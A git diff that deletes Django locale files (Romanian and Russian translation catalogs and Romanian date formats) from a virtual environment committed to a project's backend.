-msgstr[1] "%(num)d luni" -msgstr[2] "%(num)d de luni" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d săptămână" -msgstr[1] "%(num)d săptămâni" -msgstr[2] "%(num)d de săptămâni" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d zi" -msgstr[1] "%(num)d zile" -msgstr[2] "%(num)d de zile" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d oră" -msgstr[1] "%(num)d ore" -msgstr[2] "%(num)d de ore" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minut" -msgstr[1] "%(num)d minute" -msgstr[2] "%(num)d de minute" - -msgid "Forbidden" -msgstr "Interzis" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verificarea CSRF nereușită. Cerere eșuată." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Vedeți acest mesaj deoarece această pagină web necesită un cookie CSRF la " -"trimiterea formularelor. Acest cookie este necesar din motive de securitate, " -"pentru a se asigura că browserul nu este deturnat de terți." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Mai multe informații sunt disponibile pentru DEBUG=True." - -msgid "No year specified" -msgstr "Niciun an specificat" - -msgid "Date out of range" -msgstr "Dată în afara intervalului" - -msgid "No month specified" -msgstr "Nicio lună specificată" - -msgid "No day specified" -msgstr "Nicio zi specificată" - -msgid "No week specified" -msgstr "Nicio săptămîna specificată" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s nu e disponibil" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Viitorul %(verbose_name_plural)s nu e disponibil deoarece %(class_name)s ." -"allow_future este Fals." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Niciun rezultat pentru %(verbose_name)s care se potrivesc interogării" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Pagină invalidă (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Aici nu sunt permise indexuri la directoare" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index pentru %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalarea a funcționat cu succes! Felicitări!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Vezi notele de lansare pentru Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Vedeți această pagină deoarece DEBUG=True este în fișierul de setări și nu ați " -"configurat niciun URL." - -msgid "Django Documentation" -msgstr "Documentația Django" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: O aplicație de votare" - -msgid "Get started with Django" -msgstr "Începeți cu Django" - -msgid "Django Community" -msgstr "Comunitatea Django" - -msgid "Connect, get help, or contribute" -msgstr "Conectați-vă, obțineți ajutor sau contribuiți" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ro/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ro/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ro/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ro/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 830f767c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ro/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ro/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ro/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 95822ba8..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ro/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ro/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ro/formats.py deleted file mode 100644 index 5a0c173f..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ro/formats.py +++ /dev/null @@ -1,35 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j F Y, H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y, H:i" -FIRST_DAY_OF_WEEK = 1 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", - "%d.%b.%Y", - "%d %B %Y", - "%A, %d %B %Y", -] -TIME_INPUT_FORMATS = [ - "%H:%M", - "%H:%M:%S", - "%H:%M:%S.%f", -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y, %H:%M", - "%d.%m.%Y, %H:%M:%S", - "%d.%B.%Y, %H:%M", - "%d.%B.%Y, %H:%M:%S", -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ru/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ru/LC_MESSAGES/django.mo deleted file mode 100644 index 138118e1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ru/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ru/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ru/LC_MESSAGES/django.po deleted file mode 100644 index 1766d195..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ru/LC_MESSAGES/django.po +++ /dev/null @@ -1,1424 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mingun , 2014 -# Anton Bazhanov , 2017 -# Denis Darii , 2011 -# Dimmus , 2011 -# eigrad , 2012 -# Eugene , 2013 -# Eugene Morozov , 2021 -# eXtractor , 2015 -# crazyzubr , 2020 -# Igor Melnyk, 2014 -# Ivan Khomutov , 2017 -# Jannis Leidel , 2011 -# lilo.panic, 2016 -# Mikhail Zholobov , 2013 -# Nikolay Korotkiy , 2018 -# Panasoft, 2021 -# Вася Аникин , 2017 -# SeryiMysh , 2020 -# Алексей Борискин , 2013-2017,2019-2020,2022-2024 -# Bobsans , 2016,2018 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Алексей Борискин , " -"2013-2017,2019-2020,2022-2024\n" -"Language-Team: Russian (http://app.transifex.com/django/django/language/" -"ru/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ru\n" -"Plural-Forms: nplurals=4; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<12 || n%100>14) ? 1 : n%10==0 || (n%10>=5 && n%10<=9) || " -"(n%100>=11 && n%100<=14)? 2 : 3);\n" - -msgid "Afrikaans" -msgstr "Бурский" - -msgid "Arabic" -msgstr "Арабский" - -msgid "Algerian Arabic" -msgstr "Алжирский арабский" - -msgid "Asturian" -msgstr "Астурийский" - -msgid "Azerbaijani" -msgstr "Азербайджанский" - -msgid "Bulgarian" -msgstr "Болгарский" - -msgid "Belarusian" -msgstr "Белоруский" - -msgid "Bengali" -msgstr "Бенгальский" - -msgid "Breton" -msgstr "Бретонский" - -msgid "Bosnian" -msgstr "Боснийский" - -msgid "Catalan" -msgstr "Каталанский" - -msgid "Central Kurdish (Sorani)" -msgstr "Центральнокурдский (Сорани)" - -msgid "Czech" -msgstr "Чешский" - -msgid "Welsh" -msgstr "Уэльский" - -msgid "Danish" -msgstr "Датский" - -msgid "German" -msgstr "Немецкий" - -msgid "Lower Sorbian" -msgstr "Нижнелужицкий" - -msgid "Greek" -msgstr "Греческий" - -msgid "English" -msgstr "Английский" - -msgid "Australian English" -msgstr "Австралийский английский" - -msgid "British English" -msgstr "Британский английский" - -msgid "Esperanto" -msgstr "Эсперанто" - -msgid "Spanish" -msgstr "Испанский" - -msgid "Argentinian Spanish" -msgstr "Аргентинский испанский" - -msgid "Colombian Spanish" -msgstr "Колумбийский испанский" - -msgid "Mexican Spanish" -msgstr "Мексиканский испанский" - -msgid "Nicaraguan Spanish" -msgstr "Никарагуанский испанский" - -msgid "Venezuelan Spanish" -msgstr "Венесуэльский Испанский" - -msgid "Estonian" -msgstr "Эстонский" - -msgid "Basque" -msgstr "Баскский" - -msgid "Persian" -msgstr "Персидский" - -msgid "Finnish" -msgstr "Финский" - -msgid "French" -msgstr "Французский" - -msgid "Frisian" -msgstr "Фризский" - -msgid "Irish" -msgstr "Ирландский" - -msgid "Scottish Gaelic" -msgstr "Шотландский гэльский" - -msgid "Galician" -msgstr "Галисийский" - -msgid "Hebrew" -msgstr "Иврит" - -msgid "Hindi" -msgstr "Хинди" - -msgid "Croatian" -msgstr "Хорватский" - -msgid "Upper Sorbian" -msgstr "Верхнелужицкий" - -msgid "Hungarian" -msgstr "Венгерский" - -msgid "Armenian" -msgstr "Армянский" - -msgid "Interlingua" -msgstr "Интерлингва" - -msgid "Indonesian" -msgstr "Индонезийский" - -msgid "Igbo" -msgstr "Игбо" - -msgid "Ido" -msgstr "Идо" - -msgid "Icelandic" -msgstr "Исландский" - -msgid "Italian" -msgstr "Итальянский" - -msgid "Japanese" -msgstr "Японский" - -msgid "Georgian" -msgstr "Грузинский" - -msgid "Kabyle" -msgstr "Кабильский" - -msgid "Kazakh" -msgstr "Казахский" - -msgid "Khmer" -msgstr "Кхмерский" - -msgid "Kannada" -msgstr "Каннада" - -msgid "Korean" -msgstr "Корейский" - -msgid "Kyrgyz" -msgstr "Киргизский" - -msgid "Luxembourgish" -msgstr "Люксембургский" - -msgid "Lithuanian" -msgstr "Литовский" - -msgid "Latvian" -msgstr "Латвийский" - -msgid "Macedonian" -msgstr "Македонский" - -msgid "Malayalam" -msgstr "Малаялам" - -msgid "Mongolian" -msgstr "Монгольский" - -msgid "Marathi" -msgstr "Маратхи" - -msgid "Malay" -msgstr "Малайский" - -msgid "Burmese" -msgstr "Бирманский" - -msgid "Norwegian Bokmål" -msgstr "Норвежский (Букмол)" - -msgid "Nepali" -msgstr "Непальский" - -msgid "Dutch" -msgstr "Голландский" - -msgid "Norwegian Nynorsk" -msgstr "Норвежский (Нюнорск)" - -msgid "Ossetic" -msgstr "Осетинский" - -msgid "Punjabi" -msgstr "Панджаби" - -msgid "Polish" -msgstr "Польский" - -msgid "Portuguese" -msgstr "Португальский" - -msgid "Brazilian Portuguese" -msgstr "Бразильский португальский" - -msgid "Romanian" -msgstr "Румынский" - -msgid "Russian" -msgstr "Русский" - -msgid "Slovak" -msgstr "Словацкий" - -msgid "Slovenian" -msgstr "Словенский" - -msgid "Albanian" -msgstr "Албанский" - -msgid "Serbian" -msgstr "Сербский" - -msgid "Serbian Latin" -msgstr "Сербский (латиница)" - -msgid "Swedish" -msgstr "Шведский" - -msgid "Swahili" -msgstr "Суахили" - -msgid "Tamil" -msgstr "Тамильский" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Tajik" -msgstr "Таджикский" - -msgid "Thai" -msgstr "Тайский" - -msgid "Turkmen" -msgstr "Туркменский" - -msgid "Turkish" -msgstr "Турецкий" - -msgid "Tatar" -msgstr "Татарский" - -msgid "Udmurt" -msgstr "Удмуртский" - -msgid "Uyghur" -msgstr "Уйгурский" - -msgid "Ukrainian" -msgstr "Украинский" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "Узбекский" - -msgid "Vietnamese" -msgstr "Вьетнамский" - -msgid "Simplified Chinese" -msgstr "Упрощенный китайский" - -msgid "Traditional Chinese" -msgstr "Традиционный китайский" - -msgid "Messages" -msgstr "Сообщения" - -msgid "Site Maps" -msgstr "Карта сайта" - -msgid "Static Files" -msgstr "Статические файлы" - -msgid "Syndication" -msgstr "Ленты новостей" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Номер страницы не является натуральным числом" - -msgid "That page number is less than 1" -msgstr "Номер страницы меньше 1" - -msgid "That page contains no results" -msgstr "Страница не содержит результатов" - -msgid "Enter a valid value." -msgstr "Введите правильное значение." - -msgid "Enter a valid domain name." -msgstr "Введите правильное имя домена." - -msgid "Enter a valid URL." -msgstr "Введите правильный URL." - -msgid "Enter a valid integer." -msgstr "Введите правильное число." - -msgid "Enter a valid email address." -msgstr "Введите правильный адрес электронной почты." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Значение должно состоять только из латинских букв, цифр, знаков " -"подчеркивания или дефиса." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Значение должно состоять только из символов входящих в стандарт Юникод, " -"цифр, символов подчёркивания или дефисов." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Введите правильный адрес %(protocol)s." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 или IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Введите цифры, разделенные запятыми." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Убедитесь, что это значение — %(limit_value)s (сейчас оно — %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Убедитесь, что это значение меньше либо равно %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Убедитесь, что это значение больше либо равно %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Убедитесь, что это значение кратно числу %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Убедитесь, что данное значение отстоит от %(offset)s на число, кратное шагу " -"%(limit_value)s, например: %(offset)s, %(valid_value1)s, %(valid_value2)s и " -"так далее." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Убедитесь, что это значение содержит не менее %(limit_value)d символ (сейчас " -"%(show_value)d)." -msgstr[1] "" -"Убедитесь, что это значение содержит не менее %(limit_value)d символов " -"(сейчас %(show_value)d)." -msgstr[2] "" -"Убедитесь, что это значение содержит не менее %(limit_value)d символов " -"(сейчас %(show_value)d)." -msgstr[3] "" -"Убедитесь, что это значение содержит не менее %(limit_value)d символов " -"(сейчас %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Убедитесь, что это значение содержит не более %(limit_value)d символ (сейчас " -"%(show_value)d)." -msgstr[1] "" -"Убедитесь, что это значение содержит не более %(limit_value)d символов " -"(сейчас %(show_value)d)." -msgstr[2] "" -"Убедитесь, что это значение содержит не более %(limit_value)d символов " -"(сейчас %(show_value)d)." -msgstr[3] "" -"Убедитесь, что это значение содержит не более %(limit_value)d символов " -"(сейчас %(show_value)d)." - -msgid "Enter a number." -msgstr "Введите число." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Убедитесь, что вы ввели не более %(max)s цифры." -msgstr[1] "Убедитесь, что вы ввели не более %(max)s цифр." -msgstr[2] "Убедитесь, что вы ввели не более %(max)s цифр." -msgstr[3] "Убедитесь, что вы ввели не более %(max)s цифр." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Убедитесь, что вы ввели не более %(max)s цифры после запятой." -msgstr[1] "Убедитесь, что вы ввели не более %(max)s цифр после запятой." -msgstr[2] "Убедитесь, что вы ввели не более %(max)s цифр после запятой." -msgstr[3] "Убедитесь, что вы ввели не более %(max)s цифр после запятой." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Убедитесь, что вы ввели не более %(max)s цифры перед запятой." -msgstr[1] "Убедитесь, что вы ввели не более %(max)s цифр перед запятой." -msgstr[2] "Убедитесь, что вы ввели не более %(max)s цифр перед запятой." -msgstr[3] "Убедитесь, что вы ввели не более %(max)s цифр перед запятой." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Расширение файлов “%(extension)s” не поддерживается. Разрешенные расширения: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Данные содержат запрещённый символ: ноль-байт" - -msgid "and" -msgstr "и" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" -"%(model_name)s с такими значениями полей %(field_labels)s уже существует." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Нарушено ограничение \"%(name)s\"." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Значения %(value)r нет среди допустимых вариантов." - -msgid "This field cannot be null." -msgstr "Это поле не может иметь значение NULL." - -msgid "This field cannot be blank." -msgstr "Это поле не может быть пустым." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s с таким %(field_label)s уже существует." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"Значение в поле «%(field_label)s» должно быть уникальным для фрагмента " -"«%(lookup_type)s» даты в поле %(date_field_label)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Поле типа %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Значение “%(value)s” должно быть True или False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Значение “%(value)s” должно быть True, False или None." - -msgid "Boolean (Either True or False)" -msgstr "Логическое (True или False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Строка (до %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Строка (неограниченной длины)" - -msgid "Comma-separated integers" -msgstr "Целые, разделенные запятыми" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Значение “%(value)s” имеет неверный формат даты. Оно должно быть в формате " -"YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Значение “%(value)s” имеет корректный формат (YYYY-MM-DD), но это " -"недействительная дата." - -msgid "Date (without time)" -msgstr "Дата (без указания времени)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Значение “%(value)s” имеет неверный формат. Оно должно быть в формате YYYY-" -"MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Значение “%(value)s” имеет корректный формат (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]), но это недействительные дата/время." - -msgid "Date (with time)" -msgstr "Дата (с указанием времени)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Значение “%(value)s” должно быть десятичным числом." - -msgid "Decimal number" -msgstr "Число с фиксированной запятой" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Значение “%(value)s” имеет неверный формат. Оно должно быть в формате [DD] " -"[HH:[MM:]]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Продолжительность" - -msgid "Email address" -msgstr "Адрес электронной почты" - -msgid "File path" -msgstr "Путь к файлу" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Значение “%(value)s” должно быть числом с плавающей точкой." - -msgid "Floating point number" -msgstr "Число с плавающей запятой" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Значение “%(value)s” должно быть целым числом." - -msgid "Integer" -msgstr "Целое" - -msgid "Big (8 byte) integer" -msgstr "Длинное целое (8 байт)" - -msgid "Small integer" -msgstr "Малое целое число" - -msgid "IPv4 address" -msgstr "IPv4 адрес" - -msgid "IP address" -msgstr "IP-адрес" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Значение “%(value)s” должно быть None, True или False." - -msgid "Boolean (Either True, False or None)" -msgstr "Логическое (True, False или None)" - -msgid "Positive big integer" -msgstr "Положительное большое целое число" - -msgid "Positive integer" -msgstr "Положительное целое число" - -msgid "Positive small integer" -msgstr "Положительное малое целое число" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Слаг (до %(max_length)s)" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Значение “%(value)s” имеет неверный формат. Оно должно быть в формате HH:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Значение “%(value)s” имеет корректный формат (HH:MM[:ss[.uuuuuu]]), но это " -"недействительное время." - -msgid "Time" -msgstr "Время" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Необработанные двоичные данные" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "Значение “%(value)s” не является верным UUID-ом." - -msgid "Universally unique identifier" -msgstr "Поле для UUID, универсального уникального идентификатора" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Изображение" - -msgid "A JSON object" -msgstr "JSON-объект" - -msgid "Value must be valid JSON." -msgstr "Значение должно быть корректным JSON-ом." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" -"Объект модели %(model)s со значением поля %(field)s, равным %(value)r, не " -"существует." - -msgid "Foreign Key (type determined by related field)" -msgstr "Внешний Ключ (тип определен по связанному полю)" - -msgid "One-to-one relationship" -msgstr "Связь \"один к одному\"" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Связь %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Связи %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Связь \"многие ко многим\"" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Обязательное поле." - -msgid "Enter a whole number." -msgstr "Введите целое число." - -msgid "Enter a valid date." -msgstr "Введите правильную дату." - -msgid "Enter a valid time." -msgstr "Введите правильное время." - -msgid "Enter a valid date/time." -msgstr "Введите правильную дату и время." - -msgid "Enter a valid duration." -msgstr "Введите правильную продолжительность." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Количество дней должно быть в диапазоне от {min_days} до {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ни одного файла не было отправлено. Проверьте тип кодировки формы." - -msgid "No file was submitted." -msgstr "Ни одного файла не было отправлено." - -msgid "The submitted file is empty." -msgstr "Отправленный файл пуст." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Убедитесь, что это имя файла содержит не более %(max)d символ (сейчас " -"%(length)d)." -msgstr[1] "" -"Убедитесь, что это имя файла содержит не более %(max)d символов (сейчас " -"%(length)d)." -msgstr[2] "" -"Убедитесь, что это имя файла содержит не более %(max)d символов (сейчас " -"%(length)d)." -msgstr[3] "" -"Убедитесь, что это имя файла содержит не более %(max)d символов (сейчас " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Пожалуйста, загрузите файл или поставьте флажок \"Очистить\", но не " -"совершайте оба действия одновременно." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Загрузите правильное изображение. Файл, который вы загрузили, поврежден или " -"не является изображением." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Выберите корректный вариант. %(value)s нет среди допустимых значений." - -msgid "Enter a list of values." -msgstr "Введите список значений." - -msgid "Enter a complete value." -msgstr "Введите весь список значений." - -msgid "Enter a valid UUID." -msgstr "Введите правильный UUID." - -msgid "Enter a valid JSON." -msgstr "Введите корректный JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Скрытое поле %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Данные ManagementForm отсутствуют или были подделаны. Отсутствующие поля: " -"%(field_names)s. Если проблема не исчезнет, вам может потребоваться " -"отправить отчет об ошибке." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Пожалуйста, отправьте не больше %(num)d формы." -msgstr[1] "Пожалуйста, отправьте не больше %(num)d форм." -msgstr[2] "Пожалуйста, отправьте не больше %(num)d форм." -msgstr[3] "Пожалуйста, отправьте не больше %(num)d форм." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Пожалуйста, отправьте %(num)d форму." -msgstr[1] "Пожалуйста, отправьте %(num)d формы." -msgstr[2] "Пожалуйста, отправьте %(num)d форм." -msgstr[3] "Пожалуйста, отправьте %(num)d форм." - -msgid "Order" -msgstr "Порядок" - -msgid "Delete" -msgstr "Удалить" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Пожалуйста, измените повторяющееся значение в поле \"%(field)s\"." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Пожалуйста, измените значение в поле %(field)s, оно должно быть уникальным." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Пожалуйста, измените значение в поле %(field_name)s, оно должно быть " -"уникальным для %(lookup)s в поле %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Пожалуйста, измените повторяющиеся значения ниже." - -msgid "The inline value did not match the parent instance." -msgstr "Значение во вложенной форме не совпадает со значением в базовой форме." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Выберите корректный вариант. Вашего варианта нет среди допустимых значений." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” является неверным значением." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s не может быть интерпретирована в часовом поясе " -"%(current_timezone)s; дата может быть неоднозначной или оказаться " -"несуществующей." - -msgid "Clear" -msgstr "Очистить" - -msgid "Currently" -msgstr "На данный момент" - -msgid "Change" -msgstr "Изменить" - -msgid "Unknown" -msgstr "Неизвестно" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Нет" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "да,нет,может быть" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" -msgstr[1] "%(size)d байта" -msgstr[2] "%(size)d байт" -msgstr[3] "%(size)d байт" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" 